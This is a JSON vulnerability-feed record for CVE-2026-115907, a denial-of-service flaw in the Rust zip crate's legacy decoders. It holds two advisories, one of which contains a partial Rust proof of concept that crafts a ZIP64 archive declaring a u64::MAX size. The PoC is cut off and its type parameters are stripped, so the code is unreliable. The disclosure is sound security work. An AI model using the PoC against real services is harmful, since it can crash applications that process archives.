{"vuln_id":"CVE-2026-115907","aliases":["GHSA-9hj8-73fh-9963"],"description":"zip: legacy Shrink/Reduce/Implode decoder: denial of service from attacker-controlled ZIP64 uncompressed size","published_at":"2026-10-22T12:00:00Z","modified_at":"2026-11-17T10:26:14.175658Z","first_seen_at":"2026-11-21T19:15:56.743670Z","severity":"high","severity_source":"native","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":["CWE-400","CWE-789"],"vendor":null,"product":null,"kev":{"is_kev":false,"date_added":null,"due_date":null,"ransomware":false},"epss":0.0055,"epss_percentile":0.4692,"nvd_status":null,"enriched_at":null,"links":{"nvd":"https://nvd.nist.gov/vuln/detail/CVE-2026-115907"},"matched_alias":null,"items":[{"id":11052,"source":{"id":"osv","name":"OSV.dev"},"title":"GHSA-9hj8-73fh-9963: zip: legacy Shrink/Reduce/Implode decoder: denial of service from attacker-controlled ZIP64 uncompressed size","summary":"zip: legacy Shrink/Reduce/Implode decoder: denial of service from attacker-controlled ZIP64 uncompressed size\n\n### Summary\n\nA malicious 149-byte ZIP archive can cause a denial of service in applications that enable `legacy-zip` and use `ZipArchive::extract()`. An attacker-controlled ZIP64 uncompressed size triggers a `capacity overflow` panic in the Shrink decoder in optimized builds, potentially terminating the affected process.\n\n### Details\n\nWhen reading a Shrink-compressed entry, `ShrinkDecoder::read()` buffers the compressed input and reserves output capacity using the entry's declared uncompressed size:\n\n```rust\nif !self.stream_read {\nself.stream_read = true;\nlet mut compressed_bytes = Vec::new();\nself.compressed_reader.read_to_end(&mut compressed_bytes)?;\nself.stream.reserve(self.uncompressed_size as usize);\nhwunshrink(\n&compressed_bytes,\nself.uncompressed_size as usize,\n&mut self.stream,\n)?;\n}\n```\n\nIn version 8.6.0, this is located in [`src/legacy/shrink.rs`](https://github.com/zip-rs/zip2/blob/771dfc534d2614158af5497ea3dff4d4208d7db1/src/legacy/shrink.rs#L341-L352). The vulnerable legacy codecs are compiled when the `legacy-zip` Cargo feature is enabled.\n\n`self.uncompressed_size` is populated from ZIP metadata. For ZIP64 entries, an attacker can set it to a 64-bit value independently of the archive's actual compressed payload size. The PoC declares an uncompressed size of `u64::MAX`, while supplying only one byte of compressed data.\n\nThe reserve occurs before `hwunshrink()` can validate or decode the compressed stream. Consequently, the impossible capacity causes a deterministic `capacity overflow` panic instead of returning a normal archive or I/O error. The behavior also occurs in optimized release builds and is reachable through `ZipArchive::extract()`.\n\nThe same unbounded allocation pattern is present in the legacy Reduce and Implode decoder implementations. This PoC specifically demonstrates the Shrink path.\n\n### PoC\n\nCreate a new Cargo project with the following layout:\n\n```text\nzip2-legacy-poc/\n|-- Cargo.toml\n`-- src/\n`-- main.rs\n```\n\nUse this `Cargo.toml`:\n\n```toml\n[package]\nname = \"zip2-legacy-poc\"\nversion = \"0.1.0\"\nedition = \"2024\"\npublish = false\n\n[dependencies]\ntempfile = \"3\"\nzip = { version = \"=8.6.0\", features = [\"legacy-zip\"] }\n```\n\nUse this `src/main.rs`:\n\n```rust\nuse std::fs::File;\nuse std::io::{Cursor, Write};\n\nfn push16(out: &mut Vec\n, value: u16) {\nout.extend_from_slice(&value.to_le_bytes());\n}\n\nfn push32(out: &mut Vec\n, value: u32) {\nout.extend_from_slice(&value.to_le_bytes());\n}\n\nfn push64(out: &mut Vec\n, value: u64) {\nout.extend_from_slice(&value.to_le_bytes());\n}\n\nfn zip64_extra() -> Vec\n{\nlet mut extra = Vec::new();\npush16(&mut extra, 0x0001);\npush16(&mut extra, 16);\npush64(&mut extra, u64::MAX);\npush64(&mut extra, 1);\nextra\n}\n\nfn archive() -> Vec\n{\nlet name = b\"entry\";\nlet extra = zip64_extra();\nlet mut out = Vec::new();\n\npush32(&mut out, 0x0403_4b50);\npush16(&mut out, 45);\npush16(&mut out, 0);\n\nAffected: crates.io:zip\n\nFixed in: 9.0.0\n\nReferences:\nhttps://github.com/zip-rs/zip2/security/advisories/GHSA-9hj8-73fh-9963\nhttps://nvd.nist.gov/vuln/detail/CVE-2026-115907\nhttps://github.com/zip-rs/zip2/pull/991\nhttps://github.com/zip-rs/zip2/commit/8b4991288b79ad11cce201c2d785d5baa795bd3e\nhttps://github.com/zip-rs/zip2\nhttps://github.com/zip-rs/zip2/releases/tag/v9.0.0","url":"https://osv.dev/vulnerability/GHSA-9hj8-73fh-9963","published_at":"2026-10-29T16:40:19Z","updated_at":"2026-11-17T10:26:14.175658Z","fetched_at":"2026-11-21T19:15:55.946396Z","severity":"high","cvss_score":7.5,"epss":0.0055,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":"zip","vuln_id":"CVE-2026-115907","vuln_ids":["CVE-2026-115907","GHSA-9HJ8-73FH-9963","RUSTSEC-2026-0547"],"tags":["osv","crates.io","fix-available"],"cluster_id":10782,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/11052","html":"https://vulnwatch.ve1ve2.com/item/11052"}},{"id":11063,"source":{"id":"osv","name":"OSV.dev"},"title":"RUSTSEC-2026-0547: Legacy Shrink, Reduce and Implode decoders preallocate the declared uncompressed size","summary":"Legacy Shrink, Reduce and Implode decoders preallocate the declared uncompressed size\n\nWith the `legacy-zip` feature, the decoders for the Shrink, Reduce and Implode compression methods reserved output capacity for the entry's declared uncompressed size before decoding anything. That size comes from the archive, and a ZIP64 entry can declare any 64-bit value, so reading or extracting a crafted entry of a few bytes panics with \"capacity overflow\" or fails a huge allocation.\n\nAn attacker who can supply an archive can stop a process that reads it, for example through `ZipArchive::extract`.\n\nOnly builds with the `legacy-zip` feature are affected; it is not enabled by default.\n\nThe fix caps the preallocation at 1 MiB, and such an entry now returns an error.\n\nAffected: crates.io:zip\n\nFixed in: 9.0.0\n\nReferences:\nhttps://crates.io/crates/zip\nhttps://rustsec.org/advisories/RUSTSEC-2026-0547.html\nhttps://github.com/zip-rs/zip2/pull/991","url":"https://osv.dev/vulnerability/RUSTSEC-2026-0547","published_at":"2026-10-22T12:00:00Z","updated_at":"2026-11-17T10:15:03.059525Z","fetched_at":"2026-11-21T19:15:55.946403Z","severity":"high","cvss_score":7.5,"epss":0.0055,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":null,"product":"zip","vuln_id":"CVE-2026-115907","vuln_ids":["CVE-2026-115907","GHSA-9HJ8-73FH-9963","RUSTSEC-2026-0547"],"tags":["osv","crates.io","fix-available"],"cluster_id":10783,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/11063","html":"https://vulnwatch.ve1ve2.com/item/11063"}}]}